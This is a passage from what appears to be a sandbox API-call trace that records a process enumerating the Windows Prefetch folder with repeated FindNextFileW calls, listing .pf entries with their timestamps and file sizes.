ftLastAccessTime.dwLowDateTime=0x74c1330, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xdcacc160, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x749c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGEN.EXE-E9662EB6.pf", cAlternateFileName="NGENEX~3.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48e2280, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xc48e2280, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x2c67a8a0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x15c4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTOSBOOT-B00DFAAD.pf", cAlternateFileName="NTOSBO~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e2ecfb0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x1e2ecfb0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x53be6dd0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2baca, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICECLICKTORUN.EXE-419EFF7E.pf", cAlternateFileName="OFFICE~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64182720, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x64182720, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9f5f5880, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="PfSvPerfStats.bin", cAlternateFileName="PFSVPE~1.BIN")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc20d82c0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0xc20d82c0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5ef4f0e0, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x77d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="POQEXEC.EXE-7C336EAC.pf", cAlternateFileName="POQEXE~1.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc99c9ae0, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xc99c9ae0, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0x8bfac2c0, ftLastWriteTime.dwHighDateTime=0x1d7e780, nFileSizeHigh=0x0, nFileSizeLow=0x25d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERSHELL.EXE-3E7086C1.pf", cAlternateFileName="POWERS~2.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6dc03e0, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xc6dc03e0, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0x28857140, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x271e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERSHELL.EXE-59FC8F3D.pf", cAlternateFileName="POWERS~1.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x3c884160, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0x3c884160, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadyBoot", cAlternateFileName="READYB~1")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c4a25a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x1c4a25a0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x4fec6a10, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x5afc, dwReserved0=0x0, dwReserved1=0x0, cFileName="REGEDIT.EXE-4748FE01.pf", cAlternateFileName="REGEDI~1.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfc4c1890, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xfc4c1890, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd6d25e10, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="REGTLIBV12.EXE-4B861E90.pf", cAlternateFileName="REGTLI~1.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfc559e10, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xfc559e10, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd6d25e10, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x3d2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="REGTLIBV12.EXE-F8E3DF6E.pf", cAlternateFileName="REGTLI~2.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x631e36c0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x631e36c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x631e36c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x211d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUNDLL32.EXE-574F5C2F.pf", cAlternateFileName="RUNDLL~1.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd502f0a0, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xd502f0a0, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xd82886c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x26a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUNDLL32.EXE-AFD98684.pf", cAlternateFileName="RUNDLL~2.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d35aa60, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x8d35aa60, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x8d35aa60, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUNONCE.EXE-E33ED995.pf", cAlternateFileName="RUNONC~1.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38516430, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x38516430, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x3ac36dd0, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x1a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="SC.EXE-BC6DAF49.pf", cAlternateFileName="SCEXE-~1.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d35aa60, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x8d35aa60, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x64086c30, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x50e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHTASKS.EXE-7E9C9BE3.pf", cAlternateFileName="SCHTAS~1.PF")) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bdc5010, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x3bdc5010, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xd6b82ef0, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x448a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVICEMODELREG.EXE-5C693F74.pf", cAlternateFileName="SERVIC~2.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b4b1c30, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x3b4b1c30, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xd6b82ef0, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x49cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVICEMODELREG.EXE-691AD806.pf", cAlternateFileName="SERVIC~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd23bd8b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xd23bd8b0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd23bd8b0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x6f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-07ABCB8E.pf", cAlternateFileName="SETUPE~4.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x671fda50, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x671fda50, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x671fda50, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x11488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-08B7D11F.pf", cAlternateFileName="SETUPE~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5c3cbd0, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xe5c3cbd0, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xe5c3cbd0, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x49e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-799DB3E0.pf", cAlternateFileName="SEA933~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7ed590, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x6d7ed590, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6d7ed590, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x117a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-7BB3BE10.pf", cAlternateFileName="SETUPE~2.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f75a350, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0x9f75a350, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x9f75a350, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x4eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-8B394D4F.pf", cAlternateFileName="SE633A~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe13ad5f0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xe13ad5f0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xe13ad5f0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x945c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-9D394B2D.pf", cAlternateFileName="SEBDDF~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x584d9fb0, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x584d9fb0, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x584d9fb0, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0xb9b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-C6661DD8.pf", cAlternateFileName="SED9AC~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1e5b7b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xc1e5b7b0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xc1e5b7b0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x78f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-E1650F15.pf", cAlternateFileName="SETUPE~3.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x14b82490, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x14b82490, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x14b82490, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.EXE-E589C2EE.pf", cAlternateFileName="SED861~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x181549b0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x181549b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1abe12f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x241b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP32.EXE-A90B6D0F.pf", cAlternateFileName="SETUP3~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x631e36c0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x631e36c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x631e36c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUPUGC.EXE-B507AEB3.pf", cAlternateFileName="SETUPU~1.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5aea8210, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x5aea8210, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xc6af0250, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x5304, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUPUTILITY.EXE-0611481C.pf", cAlternateFileName="SETUPU~3.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb749550, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xeb749550, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x4cdd59d0, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x52fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUPUTILITY.EXE-2D8CE364.pf", cAlternateFileName="SETUPU~4.PF")) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaef818d0, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xaef818d0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x3e974f10, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x54a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUPUTILITY.EXE-58955BAB.pf", cAlternateFileName="SEBD37~1.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3b8c670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xe3b8c670, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x4c3c2570, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x4dd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUPUTILITY.EXE-735A4F39.pf", cAlternateFileName="SETUPU~2.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d35aa60, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x8d35aa60, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x8d35aa60, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x241e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHUTDOWN.EXE-B918DC57.pf", cAlternateFileName="SHUTDO~1.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf59bee0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xcf59bee0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6b99b1a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPPSVC.EXE-CBE91656.pf", cAlternateFileName="SPPSVC~1.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c9651a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x1c9651a0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x6b6ed8e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7f94, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVCHOST.EXE-135A30D8.pf", cAlternateFileName="SVCHOS~2.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x188e4680, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x188e4680, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x188e4680, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x2622, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVCHOST.EXE-18D06B2E.pf", cAlternateFileName="SVCHOS~1.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd020f20, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xdd020f20, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0x3ba37c40, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x440a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVCHOST.EXE-8DA0BAAD.pf", cAlternateFileName="SVCHOS~4.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bce06c0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x4bce06c0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xf2044ff0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x4c1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVCHOST.EXE-8FD92526.pf", cAlternateFileName="SVCHOS~3.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d35aa60, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x8d35aa60, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x3cea5f60, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0xd89a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKHOST.EXE-437C05A8.pf", cAlternateFileName="TASKHO~1.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5dc580, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x2e5dc580, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x328ddce0, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x215fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRUSTEDINSTALLER.EXE-031B6478.pf", cAlternateFileName="TRUSTE~1.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf621e8f0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xf621e8f0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x85ca6630, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x2902, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNLODCTR.EXE-2462BF52.pf", cAlternateFileName="UNLODC~1.PF")) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf62b6e70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xf62b6e70, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x76f0b6a0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x39dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNLODCTR.EXE-7517F176.pf", cAlternateFileName="UNLODC~2.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x596ef850, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x596ef850, ftLastAccessTime.dwHighDateTime=0x1d706ab, 